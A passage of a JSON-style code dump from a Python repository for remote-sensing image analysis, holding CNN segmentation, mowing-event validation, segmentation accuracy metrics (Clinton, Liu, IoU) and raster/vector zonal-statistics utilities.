model(data)[0]\n output = output.permute(1, 2, 0).contiguous().view(-1, n_band)\n ignore, target = torch.max(output, 1)\n im_target = target.data.cpu().numpy()\n nLabels = len(np.unique(im_target))\n\n if visualize:\n im_target_rgb = np.array([label_colours[c % 100] for c in im_target])\n\n im_target_rgb = im_target_rgb.reshape(im.shape).astype(np.uint8)\n shp_1 = (np.sqrt(im_target_rgb.shape[0])).astype(np.int)\n\n # im_target_rgb = im_target_rgb.reshape((shp_1, shp_1, 10)).astype(np.uint8)\n\n images.append((im_target_rgb[:, :, 0]))\n\n cv2.imshow(\"output\", im_target_rgb[:, :, [0, 1, 2]])\n cv2.waitKey(n_band)\n\n # superpixel refinement\n # TODO: use Torch Variable instead of numpy for faster calculation\n for i in range(len(l_inds)):\n labels_per_sp = im_target[l_inds[i]]\n u_labels_per_sp = np.unique(labels_per_sp)\n hist = np.zeros(len(u_labels_per_sp))\n for j in range(len(hist)):\n hist[j] = len(np.where(labels_per_sp == u_labels_per_sp[j])[0])\n im_target[l_inds[i]] = u_labels_per_sp[np.argmax(hist)]\n target = torch.from_numpy(im_target)\n\n target = Variable(target)\n loss = loss_fn(output, target)\n loss.backward()\n optimizer.step()\n\n # print (batch_idx, '/', args.maxIter, ':', nLabels, loss.data[0])\n print(batch_idx, '/', 1000, ':', nLabels, loss.item())\n\n if nLabels < 2:\n print(\"nLabels\", nLabels, \"reached minLabels\", 2, \".\")\n break\n torch.save(model, data_path + 'cnn_model')\n # save output image\n if not visualize:\n output = model(data)[0]\n output = output.permute(1, 2, 0).contiguous().view(-1, n_band)\n ignore, target = torch.max(output, 1)\n im_target = target.data.cpu().numpy()\n im_target_rgb = np.array([label_colours[c % 100] for c in im_target])\n im_target_rgb = im_target_rgb.reshape(im.shape).astype(np.uint8)\n imageio.mimsave(data_path + 'cnn.gif', images)\n print(im_target_rgb.shape)\n\n flat_array = im_target_rgb[:, :, 0].squeeze()\n flat_array += 1\n flat_array[mask_local] = 0\n print(type(flat_array))\n\n plt.figure(figsize=(15, 8))\n plt.imshow(flat_array)\n # plt.show()\n\n file_str = \"{}{}\".format(data_path + \"/CNN_\", str(field_counter))\n WriteArrayToDisk(flat_array, file_str, gt_gdal, polygonite=True, fieldo=field_counter)\n\n\n" }, { "alpha_fraction": 0.5855072736740112, "alphanum_fraction": 0.5884057879447937, "avg_line_length": 44.13333511352539, "blob_id": "a0feb3c6e4f0fc6cd458a55bdbedd09e602bb4ce", "content_id": "0dd9a1fc977f41d8c46634f2fcc3bc2b5fb234a8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 690, "license_type": "no_license", "max_line_length": 102, "num_lines": 15, "path": "/setup.py", "repo_name": "maxwesemeyer/Wes_Tools", "src_encoding": "UTF-8", "text": "from setuptools import setup\r\n\r\nsetup(name='Wes_Tools',\r\n version='0.1',\r\n description='python package containing small utility functions for Object based image analysis',\r\n url='https://github.com/maxwesemeyer/Wes_Tools/',\r\n author='Maximilian Wesemeyer',\r\n author_email='[email protected]',\r\n license='MIT',\r\n packages=['Wes_Tools'],\r\n install_requires=['numpy', 'torch', 'matplotlib', 'rasterio', 'scikit-image', 'scikit-learn',\r\n 'imageio', 'shapely', 'scipy', 'dictances', 'pandas', 'shapely',\r\n 'joblib', 'affine', 'gdal', 'fiona'],\r\n dependency_links=['https://github.com/cgre-aachen/bayseg'],\r\n zip_safe=False)" }, { "alpha_fraction": 0.5400927066802979, "alphanum_fraction": 0.5692931413650513, "avg_line_length": 36.3636360168457, "blob_id": "b0315849012ba9833082bbe097afde515f049f7b", "content_id": "1bd9fc4a634e9cfb41945a7726f3bb1d67f13593", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8630, "license_type": "no_license", "max_line_length": 152, "num_lines": 231, "path": "/Scripts/mowing_validation_script.py", "repo_name": "maxwesemeyer/Wes_Tools", "src_encoding": "UTF-8", "text": "from hubdc.core import *\nimport geopandas as gpd\nimport pandas as pd\nfrom joblib import Parallel, delayed\nimport rasterio.mask\nfrom datetime import date\nimport itertools\n\n\ndef compare_dates(reference_dates, predicted_dates, year):\n \"\"\"\n returns the difference in days betweeen the predicted mowing event and the reference mowing event;\n The difference with the smallest value is chosen\n :param reference_dates:\n :param predicted_dates:\n :return:\n \"\"\"\n\n out_diff = list()\n if len(predicted_dates) >= 1:\n for single_date_ref in reference_dates:\n if single_date_ref == datetime.datetime.strptime('01.01.18', '%d.%m.%y'):\n continue\n diff_temp_list = list()\n for single_date_pred in predicted_dates:\n #try:\n # pred = datetime.datetime.strptime(str(single_date_pred), '%Y-%m-%d')\n #except:\n # pred = datetime.datetime.strptime(str(single_date_pred), '%Y-%m-%d %H:%M:%S')\n pred = single_date_pred\n diff = single_date_ref.date() - pred\n\n diff_temp_list.append(abs(diff.days))\n out_diff.append(min(diff_temp_list))\n return out_diff\n else:\n print(predicted_dates)\n return []\n\n\ndef compare_dates_new(reference_dates, predicted_dates, year):\n \"\"\"\n returns the difference in days betweeen the predicted mowing event and the reference mowing event for each predicted;\n The difference with the smallest value is chosen\n :param reference_dates:\n :param predicted_dates:\n :return:\n \"\"\"\n\n out_diff = list()\n if len(predicted_dates) >= 1:\n for single_date_pred in predicted_dates:\n pred = single_date_pred\n diff_temp_list = list()\n for single_date_ref in reference_dates:\n if single_date_ref == datetime.datetime.strptime('01.01.18', '%d.%m.%y'):\n continue\n #try:\n # pred = datetime.datetime.strptime(str(single_date_pred), '%Y-%m-%d')\n #except:\n # pred = datetime.datetime.strptime(str(single_date_pred), '%Y-%m-%d %H:%M:%S')\n\n diff = single_date_ref.date() - pred\n\n diff_temp_list.append(abs(diff.days))\n out_diff.append(min(diff_temp_list))\n return out_diff\n else:\n print(predicted_dates)\n return []\n\n\ndef flatten(lis):\n for item in lis:\n if isinstance(item, Iterable) and not isinstance(item, str):\n for x in flatten(item):\n yield x\n else:\n yield item\n\n\ndef to_date(doy, yr):\n return date.fromordinal(date(yr, 1, 1).toordinal() + np.int(doy) - 1)\n\n\ndef val_func(vector_geom, raster_path_sum, index, year):\n shp = [vector_geom.geometry]\n \"\"\"\n with fiona.open(vector_geom, \"r\") as shapefile:\n shp = [feature[\"geometry\"] for feature in shapefile]\n \"\"\"\n begin_2017 = datetime.datetime.strptime(str('2017-01-01'), '%Y-%m-%d')\n begin_2018 = datetime.datetime.strptime(str('2018-01-01'), '%Y-%m-%d')\n begin_2019 = datetime.datetime.strptime(str('2019-01-01'), '%Y-%m-%d')\n begin_2020 = datetime.datetime.strptime(str('2020-01-01'), '%Y-%m-%d')\n mows_list = []\n\n names_list = [\"Schnitt_1\", \"Schnitt_2\",\"Schnitt_3\",\"Schnitt_4\",\"Schnitt_5\"]\n\n for ft, names in zip(vector_geom, vector_geom.index.values):\n\n if names_list.__contains__(names):\n try:\n\n ref_mow1 = datetime.datetime.strptime(str(ft), '%d.%m.%Y')\n mows_list.append(ref_mow1)\n except:\n continue\n\n mows_list = np.array(mows_list)\n if year == 2017:\n condition = np.where((begin_2017 < mows_list) & (mows_list < begin_2018))\n elif year == 2018:\n condition = np.where((begin_2018 < mows_list) & (mows_list < begin_2019))\n elif year == 2019:\n condition = np.where((begin_2019 < mows_list) & (mows_list < begin_2020))\n mow_dates = mows_list[condition]\n n_mows = len(mows_list[condition])\n with rasterio.open(raster_path_sum) as src:\n predicted, out_transform = rasterio.mask.mask(src, shp, crop=True, nodata=-9999)\n predicted_sum = predicted[0, :, :]\n predicted_doy = predicted[4:11, :, :]\n\n predicted_doy = np.reshape(predicted_doy, newshape=(7, predicted_doy.shape[1]*predicted_doy.shape[2]))\n\n ravelled = predicted.ravel()[np.where(predicted_sum.ravel() != -9999)]\n diff = np.array(list(map(lambda x: x - n_mows, ravelled))).mean()\n\n # wenn zu viele Predicted = positiv\n # wenn zu wenig predicted = negativ\n\n #diff = np.int(predicted-n_mows)\n #print(predicted, mows_list[condition], n_mows, diff, index)\n days_diff_list = []\n predicted_list_date = []\n\n for i in range(predicted_doy.shape[1]):\n ravelled = predicted_doy[:, i]\n if np.any(ravelled != -9999):\n\n ##############\n ## exlude doy 0, which is the case when no mowing is found\n ravelled = ravelled[np.where(ravelled != 0, True, False)]\n date_list = [to_date(x, year) for x in ravelled]\n if len(date_list) == 0:\n continue\n\n days_diff_list.append(np.array(compare_dates_new(mow_dates, date_list, year)))\n print(list(flatten(days_diff_list)))\n for band in range(n_mows):\n\n ravelled = predicted_doy[band, :].ravel()[np.where(predicted_doy[band, :].ravel() != -9999)]\n ##############\n ## exlude doy 0, which is the case when no mowing is found\n ravelled = ravelled[np.where(ravelled != 0, True, False)]\n predicted_list_date.append(np.median(ravelled))\n #days_diff_list.append(np.array([compare_dates(ref, pred, year) for ref, pred in zip([mow_dates[band]]*len(ravelled), date_list)]).mean())\n\n return diff, np.nanmean(days_diff_list), predicted_list_date, index\n\n\nif __name__ == '__main__':\n import glob\n #reference_vector = r'\\\\141.20.140.91\\SAN\\_ProjectsII\\Grassland\\temp\\temp_Marcel\\FL_mowing_reference\\mowingEvents_3035.gpkg'\n #reference_vector = r'\\\\141.20.140.91\\SAN\\_ProjectsII\\Grassland\\temp\\temp_Marcel\\FL_mowing_reference/mowingEvents_3035_out/mowingEvents_3035_out.shp'\n reference_vector = glob.glob(r'X:\\temp\\temp_Max\\Data\\Vector\\Referenz_Mowing/**shp')\n print(reference_vector)\n predicted_raster = r'H:\\Mowing_DC2021\\Mosaic\\2018/mowingEvents_DC2021_2018.tif'\n #predicted_raster_date = r'\\\\141.20.140.91\\NAS_Rodinia\\Croptype\\Mowing_2018\\vrt\\vrt_DOY.vrt'\n gdf = gdf = gpd.GeoDataFrame(pd.concat([gpd.read_file(i) for i in reference_vector], ignore_index=True))\n\n x = Parallel(n_jobs=1)(\n delayed(val_func)(row, predicted_raster, index, year=2018) for index, row in gdf.iterrows())\n diff_n_mows, diff_days, predicted_dates, index = list(zip(*x))\n d1_list = []\n d2_list = []\n d3_list = []\n d4_list = []\n d5_list = []\n\n for item in x:\n\n for ix in range(5):\n dates = item[2]\n if ix == 0:\n try:\n d1_list.append(str(dates[0]))\n except:\n d1_list.append('NULL')\n elif ix == 1:\n try:\n d2_list.append(str(dates[1]))\n except:\n d2_list.append('NULL')\n\n elif ix == 2:\n try:\n d3_list.append(str(dates[2]))\n except:\n d3_list.append('NULL')\n\n elif ix == 3:\n try:\n d4_list.append(str(dates[3]))\n except:\n d4_list.append('NULL')\n\n elif ix == 4:\n try:\n d5_list.append(str(dates[4]))\n except:\n d5_list.append('NULL')\n\n print(d1_list, 'D!LIST')\n series = pd.Series(diff_n_mows)\n gdf['diff_18'] = series\n gdf['cut1_pr_18'] = pd.Series(d1_list)\n gdf['cut2_pr_18'] = pd.Series(d2_list)\n gdf['cut3_pr_18'] = pd.Series(d3_list)\n gdf['cut4_pr_18'] = pd.Series(d4_list)\n gdf['cut5_pr_18'] = pd.Series(d5_list)\n gdf['mean_dev_days'] = pd.Series(diff_days)\n gdf.to_file(r'X:\\temp\\temp_Max\\Data\\Vector\\VALIDATED.shp')\n print(np.nanmean(np.abs(diff_n_mows)), 'mean deviation n mowings abs')\n print(np.nanmean((diff_n_mows)), 'mean deviation n mowings')\n\n #ab = itertools.chain(*diff_days)\n #diff_days_array = np.array(list(ab))\n\n print(diff_days)\n print(np.nanmean(diff_days))" }, { "alpha_fraction": 0.4972866177558899, "alphanum_fraction": 0.5046045184135437, "avg_line_length": 37.86885070800781, "blob_id": "c351fc2d9e0bb55e27ed4e05a98297ab93977f5f", "content_id": "52c0409d6cbe2ffe2cbb086df357f093f22b4d3b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12162, "license_type": "no_license", "max_line_length": 126, "num_lines": 305, "path": "/Accuracy_.py", "repo_name": "maxwesemeyer/Wes_Tools", "src_encoding": "UTF-8", "text": "import fiona\r\nfrom shapely.geometry import Polygon, shape\r\nimport numpy as np\r\nimport rasterio\r\nfrom .__utils import *\r\nfrom .__Join_results import *\r\nimport matplotlib.pyplot as plt\r\nfrom affine import Affine\r\nimport shutil\r\nimport os\r\n\r\n\r\ndef adapt_to_pixels(reference_poly, raster):\r\n if os.path.exists('X:/temp/temp_Max/Data/temp/'):\r\n return\r\n else:\r\n i = 0\r\n os.mkdir('X:/temp/temp_Max/Data/temp/')\r\n for shp in reference_poly:\r\n with rasterio.open(raster) as src:\r\n out_image, out_transform = rasterio.mask.mask(src, [shp], crop=True, nodata=0)\r\n gt_gdal = Affine.to_gdal(out_transform)\r\n mask = create_mask_from_ndim(out_image)\r\n WriteArrayToDisk(mask, 'X:/temp/temp_Max/Data/temp/' + str(i), gt_gdal,\r\n polygonite=True, fieldo=i, EPSG=3035)\r\n i += 1\r\n joined = join_shapes_gpd('X:/temp/temp_Max/Data/temp/', own_segmentation='own')\r\n joined.to_file('X:/temp/temp_Max/Data/temp/adatpted_to_raster.shp')\r\n #shutil.rmtree('X:/temp/temp_Max/Data/temp/')\r\n return joined\r\n\r\n\r\ndef accuracy_prep(reference_poly, segmentation_poly, convert_reference, raster):\r\n with fiona.open(reference_poly) as shapefile:\r\n shapes_ref = [feature[\"geometry\"] for feature in shapefile]\r\n if convert_reference:\r\n \"\"\"\r\n eg. convert reference polygons to Sentinel pixel size\r\n delete the whole temp folder in case you want to a new file\r\n \"\"\"\r\n print('converting reference')\r\n adapt_to_pixels(shapes_ref, raster)\r\n with fiona.open('X:/temp/temp_Max/Data/temp/adatpted_to_raster.shp') as shapefile:\r\n shapes_ref = [feature[\"geometry\"] for feature in shapefile]\r\n\r\n with fiona.open(segmentation_poly) as shapefile:\r\n shapes_seg = []\r\n feature_list = []\r\n for features in shapefile:\r\n if features[\"properties\"]['Cluster_nb'] != 0 and features[\"properties\"]['field_nb'] != None:\r\n geom = shape(features[\"geometry\"]).buffer(distance=0)\r\n if geom.area <= 100:\r\n # get rid of single pixels...\r\n continue\r\n intersector = None\r\n for geoms in shapes_ref:\r\n geom_ref = shape(geoms).buffer(distance=0)\r\n if geom.intersects(geom_ref):\r\n intersector = True\r\n break\r\n\r\n elif geom.within(geom_ref):\r\n intersector = True\r\n break\r\n\r\n if intersector:\r\n shapes_seg.append(features[\"geometry\"])\r\n values_view = features[\"properties\"].values()\r\n value_iterator = iter(values_view)\r\n first_value = next(value_iterator)\r\n feature_list.append(first_value)\r\n else:\r\n continue\r\n\r\n return shapes_ref, shapes_seg, feature_list\r\n\r\n\r\nclass Accuracy_Assessment:\r\n\r\n def __init__(self, reference_poly, segmentation_poly, convert_reference=False, raster=None):\r\n self.shapes_ref, self.shapes_seg, self.feature_list = accuracy_prep(reference_poly, segmentation_poly,\r\n convert_reference, raster)\r\n\r\n def Clinton(self):\r\n \"\"\"\r\n This functions calculates Oversegmentation, Undersegmentation and Overall accuracy of segmentation according to\r\n Clinton et al. 2010\r\n :param reference_poly: path to input shapefile\r\n :param segmentation_poly: path to input shapefile\r\n :return: accuracy values Os, Us, Total\r\n \"\"\"\r\n if len(self.shapes_ref) < 1:\r\n return 1, 1, 1\r\n segment_counter = 1\r\n # store values for output\r\n US_out = []\r\n OS_out = []\r\n Overall_out = []\r\n for shp_seg in self.shapes_seg:\r\n #print(feature_list[segment_counter - 1])\r\n segment_counter += 1\r\n # save intersect acrea to select the biggest\r\n intersecz_size = []\r\n # temp lists\r\n US_temp = []\r\n OS_temp = []\r\n Overall_temp = []\r\n\r\n for shp_ref in self.shapes_ref:\r\n # buffer with zero distance to avoid self intersection error\r\n shp_seg = shape(shp_seg).buffer(distance=0)\r\n A_int = shp_seg.intersection(shape(shp_ref)).area\r\n\r\n if A_int == 0:\r\n continue\r\n else:\r\n intersecz_size.append(A_int)\r\n A_ref = shape(shp_ref).area\r\n A_map = shp_seg.area\r\n\r\n US = 1 - A_int/A_ref\r\n OS = 1 - A_int/A_map\r\n Overall = np.sqrt(((US)**2 + (OS)**2)/2)\r\n US_temp.append(US)\r\n OS_temp.append(OS)\r\n Overall_temp.append(Overall)\r\n if np.any(np.array(intersecz_size) > 1):\r\n arg_select = np.argmax(np.array(intersecz_size))\r\n US_out.append(US_temp[arg_select])\r\n OS_out.append(OS_temp[arg_select])\r\n Overall_out.append(Overall_temp[arg_select])\r\n else:\r\n US_out.append(1)\r\n OS_out.append(1)\r\n Overall_out.append(1)\r\n return US_out, OS_out, Overall_out\r\n\r\n def Liu(self):\r\n \"\"\"\r\n Number of Segments Ratio; See Liu et al. 2012 or\r\n \"A review of accuracy assessment for object-based image analysis: From\r\n per-pixel to per-polygon approaches\" by Ye et al. 2018\r\n\r\n :param reference_poly: path to input shapefile\r\n :param segmentation_poly: path to input shapefile\r\n :return:\r\n \"\"\"\r\n\r\n # store values for output\r\n PSE_list = []\r\n\r\n for shp_seg in self.shapes_seg:\r\n # temp lists\r\n A_seg_list_temp = []\r\n Area_ref_temp = []\r\n intersecz_size = []\r\n\r\n for shp_ref in self.shapes_ref:\r\n # buffer with zero distance to avoid self intersection error\r\n shp_seg = shape(shp_seg).buffer(distance=0)\r\n A_int = shp_seg.intersection(shape(shp_ref)).area\r\n A_ref = shape(shp_ref).area\r\n A_seg = shp_seg.area\r\n if A_seg == 100:\r\n print('one pixel only...', A_seg)\r\n # areal_overlap_based_criteria =\r\n # the area of intersection between a reference polygon and the candidate segment is more than half the area of\r\n # either the reference polygon or the candidate segment\r\n if A_int == 0:\r\n continue\r\n elif A_int > A_ref / 2 or A_int > A_seg / 2:\r\n\r\n intersecz_size.append(A_int)\r\n A_seg_list_temp.append(A_seg)\r\n Area_ref_temp.append(A_ref)\r\n\r\n else:\r\n # print(A_int, A_ref / 2, 'second condition', A_int , A_seg / 2)\r\n continue\r\n if np.any(np.array(intersecz_size) > 1):\r\n\r\n PSE = abs(np.sum(np.array(A_seg_list_temp) - np.array(Area_ref_temp))) / np.sum(Area_ref_temp)\r\n PSE_list.append(PSE)\r\n else:\r\n # assuming max error\r\n PSE_list.append(1)\r\n\r\n PSE_arr = np.array(PSE_list)\r\n N_ref = len(self.shapes_ref)\r\n N_map = len(self.shapes_seg)\r\n\r\n NSR_total = abs(N_ref - N_map) / N_ref\r\n ED2 = np.sqrt((PSE_arr) ** 2 + (NSR_total) ** 2)\r\n\r\n return PSE_arr, NSR_total, ED2\r\n\r\n def Liu_new(self):\r\n \"\"\"\r\n Number of Segments Ratio; See Liu et al. 2012 or\r\n \"A review of accuracy assessment for object-based image analysis: From\r\n per-pixel to per-polygon approaches\" by Ye et al. 2018\r\n\r\n :param reference_poly: path to input shapefile\r\n :param segmentation_poly: path to input shapefile\r\n :return:\r\n \"\"\"\r\n\r\n # store values for output\r\n PSE_list = []\r\n\r\n for shp_ref in self.shapes_ref:\r\n # temp lists\r\n A_seg_list_temp = []\r\n Area_ref_temp = []\r\n intersecz_size = []\r\n\r\n for shp_seg in self.shapes_seg:\r\n # buffer with zero distance to avoid self intersection error\r\n shp_ref = shape(shp_ref).buffer(distance=0)\r\n shp_seg = shape(shp_seg).buffer(distance=0)\r\n A_int = shp_ref.intersection(shp_seg).area\r\n A_ref = shp_ref.area\r\n A_seg = shp_seg.area\r\n if A_seg == 100:\r\n continue\r\n #print('one pixel only...', A_seg)\r\n # areal_overlap_based_criteria =\r\n # the area of intersection between a reference polygon and the candidate segment is more than half the area of\r\n # either the reference polygon or the candidate segment\r\n if A_int == 0:\r\n continue\r\n else: #A_int > A_ref / 2 or A_int > A_seg / 2:\r\n\r\n intersecz_size.append(A_int)\r\n A_seg_list_temp.append(A_seg)\r\n Area_ref_temp.append(A_ref)\r\n \"\"\"\r\n else:\r\n print(A_int, A_ref / 2, 'second condition', A_int , A_seg / 2)\r\n continue\r\n \"\"\"\r\n if np.any(np.array(intersecz_size) > 1):\r\n\r\n arg_select = np.argmax(np.array(intersecz_size))\r\n\r\n PSE = abs(np.sum(A_seg_list_temp[arg_select] - Area_ref_temp[arg_select]) / Area_ref_temp[arg_select])\r\n #print(intersecz_size, arg_select, PSE, Area_ref_temp[arg_select], A_seg_list_temp[arg_select])\r\n PSE_list.append(PSE)\r\n else:\r\n # assuming max error\r\n print('should really not happen...')\r\n continue\r\n PSE_list.append(1)\r\n\r\n PSE_arr = np.array(PSE_list)\r\n N_ref = len(self.shapes_ref)\r\n N_map = len(self.shapes_seg)\r\n\r\n NSR_total = abs(N_ref - N_map) / N_ref\r\n ED2 = np.sqrt((PSE_arr) ** 2 + (NSR_total) ** 2)\r\n\r\n return PSE_arr, NSR_total, ED2\r\n\r\n def IoU(self):\r\n \"\"\"\r\n :param reference_poly: path to input shapefile\r\n :param segmentation_poly: path to input shapefile\r\n :return:\r\n \"\"\"\r\n\r\n # store values for output\r\n IUC_list = []\r\n shp_area_list = []\r\n feature_counter = 0\r\n for shp_seg in self.shapes_seg:\r\n # temp lists\r\n feature_counter += 1\r\n Union_temp = []\r\n intersecz_size = []\r\n shp_seg_area_temp = []\r\n for shp_ref in self.shapes_ref:\r\n # buffer with zero distance to avoid self intersection error\r\n shp_seg = shape(shp_seg).buffer(distance=0)\r\n shp_seg_area = shp_seg.area\r\n A_int = shp_seg.intersection(shape(shp_ref)).area\r\n A_un = shp_seg.union(shape(shp_ref)).area\r\n if A_int == 0:\r\n continue\r\n else:\r\n Union_temp.append(A_un)\r\n intersecz_size.append(A_int)\r\n shp_seg_area_temp.append(shp_seg_area)\r\n if np.any(np.array(intersecz_size) > 1):\r\n\r\n index = np.argmax(np.array(intersecz_size))\r\n IUC = np.array(intersecz_size[index])/np.array(Union_temp)[index]\r\n IUC_list.append(IUC)\r\n shp_area_list.append(shp_seg_area_temp[index])\r\n else:\r\n # assuming max error\r\n IUC_list.append(0)\r\n shp_area_list.append(0)\r\n IUC_arr = np.array(IUC_list)\r\n OSQ_arr = np.sum(np.array(shp_area_list)*IUC_arr)/np.sum(shp_area_list)\r\n return IUC_arr, OSQ_arr\r\n\r\n" }, { "alpha_fraction": 0.5707058906555176, "alphanum_fraction": 0.6015176177024841, "avg_line_length": 36.5, "blob_id": "2aa53deb4ce568dfb53856af6f54464dcefd0f8c", "content_id": "1b20db63f11199537b02c2eeaf38fd7a3e701138", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4349, "license_type": "no_license", "max_line_length": 120, "num_lines": 116, "path": "/Scripts/_prepare_mask_script.py", "repo_name": "maxwesemeyer/Wes_Tools", "src_encoding": "UTF-8", "text": "import sys\nimport geopandas as gpd\nimport pandas as pd\nfrom joblib import Parallel, delayed\nimport numpy as np\nimport os\nimport fiona\nimport shutil\nimport gdal\nsys.path.append(\"X:/temp/temp_Max/\")\nimport rasterio\nfrom Wes_Tools.Accuracy_ import *\nfrom Wes_Tools.Plots_OBIA import *\nfrom Wes_Tools.__Segmentor import *\nfrom Wes_Tools.__CNN_segment import *\nfrom Wes_Tools.__Join_results import *\nfrom Wes_Tools.__geometry_tools import *\nfrom affine import Affine\n\nif __name__ == '__main__':\n # for each raster in rasterfiles\n # clip alkis mask to raster file\n # write to disk an polygonize\n path = 'X:/SattGruen/Analyse/Mowing_detection/Data/Raster/AN1_BN1/'\n #path = [r'H:\\Grassland\\X0068_Y0042/2018-2019_180-245_LEVEL4_TSA_SEN2L_BNR_TSI.tif']\n raster_paths = Tif_finder(path, \".*[t][i][f]{1,2}$\")\n print(raster_paths)\n #alkis_mask = r'H:\\Grassland\\X0068_Y0042/GL_mask_2018.tif'\n i = 100\n \"\"\"\n for raster in raster_paths:\n print(raster)\n splitted = raster.split('/')\n filename = splitted[-1]\n force = splitted[-2]\n print(splitted)\n\n raster_src = r'H:\\Grassland\\EVI/' + force + '/GL_mask_2018.tif'\n print(raster_src)\n geom = getRasterExtent(raster_src)\n with rasterio.open(raster_src) as src:\n out_image, out_transform = rasterio.mask.mask(src, [geom], crop=True, nodata=0)\n print(out_image.shape, out_image)\n gt_gdal = Affine.to_gdal(out_transform)\n out_path = r'X:\\SattGruen\\Analyse\\Mowing_detection\\Data\\Raster\\AN3_BN1/' + str(force) + '/' + 'Gl_mask_2018'\n print(out_path)\n WriteArrayToDisk(out_image.squeeze(), out_path, gt_gdal, polygonite=True)\n i += 1\n \n ####\n # drop duplicate geometries\n\n vector_paths = Shape_finder(r'X:\\SattGruen\\Analyse\\Mowing_detection\\Data\\Raster\\AN3_BN1/')\n print(vector_paths)\n for vector in vector_paths:\n try:\n df2 = gpd.GeoDataFrame(pd.concat([gpd.read_file(vector)], ignore_index=True),\n crs=\"EPSG:3035\").drop_duplicates(subset='geometry')\n indexNames = df2[df2['Cluster_nb'] == 0].index\n df2.drop(indexNames, inplace=True)\n df2 = df2.explode()\n df2.to_file(vector)\n except:\n continue\n \"\"\"\n ####\n # drop duplicate geometries\n\n vector_paths = Shape_finder('X:/SattGruen/Analyse/Mowing_detection/Data/Raster/AN3_BN1/X0066_Y0042/')\n print(vector_paths)\n for vector in vector_paths:\n print(vector)\n if vector:\n df2 = gpd.GeoDataFrame(pd.concat([gpd.read_file(vector)], ignore_index=True),\n crs=\"EPSG:3035\").drop_duplicates(subset='geometry')\n try:\n\n indexNames = df2[df2['Cluster_nb'] == 0].index\n df2.drop(indexNames, inplace=True)\n except:\n None\n\n df2 = df2.explode().reset_index(drop=True)\n df2.to_file(vector)\n #except:\n # continue\n\n\"\"\"\n ##### i\n adapt_to_raods = True\n vector_paths = Shape_finder('X:/SattGruen/Analyse/Mowing_detection/Data/Raster/AN3_BN1/X0066_Y0042/')\n print([vector_paths[0]])\n gdf_roads = gpd.GeoDataFrame(\n pd.concat([gpd.read_file(r'X:\\Data\\Vector\\OSM\\4mw\\Roads_small/germany-highway-buffer-epsg3035.shp')],\n ignore_index=True),\n crs=\"EPSG:3035\")\n #gdf_roads['geometry'] = gdf_roads.unary_union\n #gdf_roads.to_file(r'X:\\temp\\temp_Max\\Qgis/lines_unarunion.gpkg')\n if adapt_to_raods:\n import glob\n dp_data = 'X:/SattGruen/Analyse/Mowing_detection/Data/Raster/AN3_BN1/X0066_Y0042/'\n vector_paths = glob.glob(dp_data + '*.shp', recursive=True)\n vector_paths = Shape_finder(dp_data)\n print(vector_paths)\n vector_paths = [vector_paths[0]]\n print(len(vector_paths))\n another_counter = 0\n\n for vector_path in vector_paths:\n force_tile = vector_path.split('/')[-2]\n print(vector_path, force_tile)\n gdf_ = gpd.GeoDataFrame(pd.concat([gpd.read_file(vector_path)], ignore_index=True),\n crs=\"EPSG:3035\")\n gdf_ = gpd.overlay(gdf_, gdf_roads, how='difference').buffer(0.001)\n gdf_.to_file(vector_path+'new.shp')\n\"\"\"" }, { "alpha_fraction": 0.6645914316177368, "alphanum_fraction": 0.6723735332489014, "avg_line_length": 29.847999572753906, "blob_id": "5a12360eb2e86c87b7bd3caba0be23538643c5f2", "content_id": "3ac9eadb018ea724ccc7f3fc7fc4b697a9a0865c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3855, "license_type": "no_license", "max_line_length": 87, "num_lines": 125, "path": "/Scripts/agg_raster.py", "repo_name": "maxwesemeyer/Wes_Tools", "src_encoding": "UTF-8", "text": "import fiona, rasterio\nimport geopandas as gpd\nfrom rasterio.plot import show\nimport matplotlib.pyplot as plt\nimport rasterio.plot as rplt\nfrom rasterio.features import rasterize\nfrom rasterstats import zonal_stats\n\n\ndef enum_items(source):\n print(\"\\n\")\n for ele in enumerate(source):\n print(ele)\n\n\ndef list_columns(df):\n field_list = list(df)\n enum_items(field_list)\n return field_list\n\n\n# For loading feature classes into geopandas dataframe\ndef loadfc_as_gpd(fgdb):\n layers = fiona.listlayers(fgdb)\n enum_items(layers)\n index = int(input(\"Which index to load? \"))\n fcgpd = gpd.read_file(fgdb, layer=layers[index])\n return fcgpd\n\n\n# For loading shapefiles into geopandas dataframe\ndef loadshp_as_gpd(shp):\n data = gpd.read_file(shp)\n return data\n\n\n# For optional filtering of data\ndef filter_gpd(fcgpd):\n field_list = list_columns(fcgpd)\n index = int(input(\"Filter by which field (index)? \"))\n field = field_list[index]\n value = input(\"Enter value: \")\n result = fcgpd[fcgpd[field] == value]\n return result\n\n\n# For re-projecting input vector layer to raster projection (Rasterio v. 1.0.22)\ndef reproject(fcgpd, raster):\n proj = raster.crs.to_proj4()\n print(\"Original vector layer projection: \", fcgpd.crs)\n reproj = fcgpd.to_crs(proj)\n print(\"New vector layer projection (PROJ4): \", reproj.crs)\n fig, ax = plt.subplots(figsize=(15, 15))\n rplt.show(raster, ax=ax)\n reproj.plot(ax=ax, facecolor='none', edgecolor='red')\n fig.show()\n return reproj\n\n\n# For dissolving geopandas dataframe by selected field\ndef dissolve_gpd(df):\n field_list = list_columns(df)\n index = int(input(\"Dissolve by which field (index)? \"))\n dgpd = df.dissolve(by=field_list[index])\n return dgpd\n\n\n# For selecting which raster statistics to calculate\ndef stats_select():\n stats_list = ['min', 'max', 'mean', 'count',\n 'sum', 'std', 'median', 'majority',\n 'minority', 'unique', 'range']\n enum_items(stats_list)\n indices = input(\"Enter raster statistics selections separated by space: \")\n stats = list(indices.split())\n out_stats = list()\n for i in stats:\n out_stats.append(stats_list[int(i)])\n return out_stats\n\n\n# For calculating zonal statistics\ndef get_zonal_stats(vector, raster, stats):\n # Run zonal statistics, store result in geopandas dataframe\n result = zonal_stats(vector, raster, stats=stats, geojson_out=True)\n geostats = gpd.GeoDataFrame.from_features(result)\n return geostats\n\n\n# For generating raster from zonal statistics result\ndef stats_to_raster(zdf, raster, stats, out_raster, no_data='y'):\n meta = raster.meta.copy()\n out_shape = raster.shape\n transform = raster.transform\n dtype = raster.dtypes[0]\n field_list = list_columns(stats)\n index = int(input(\"Rasterize by which field? \"))\n zone = zdf[field_list[index]]\n shapes = ((geom, value) for geom, value in zip(zdf.geometry, zone))\n 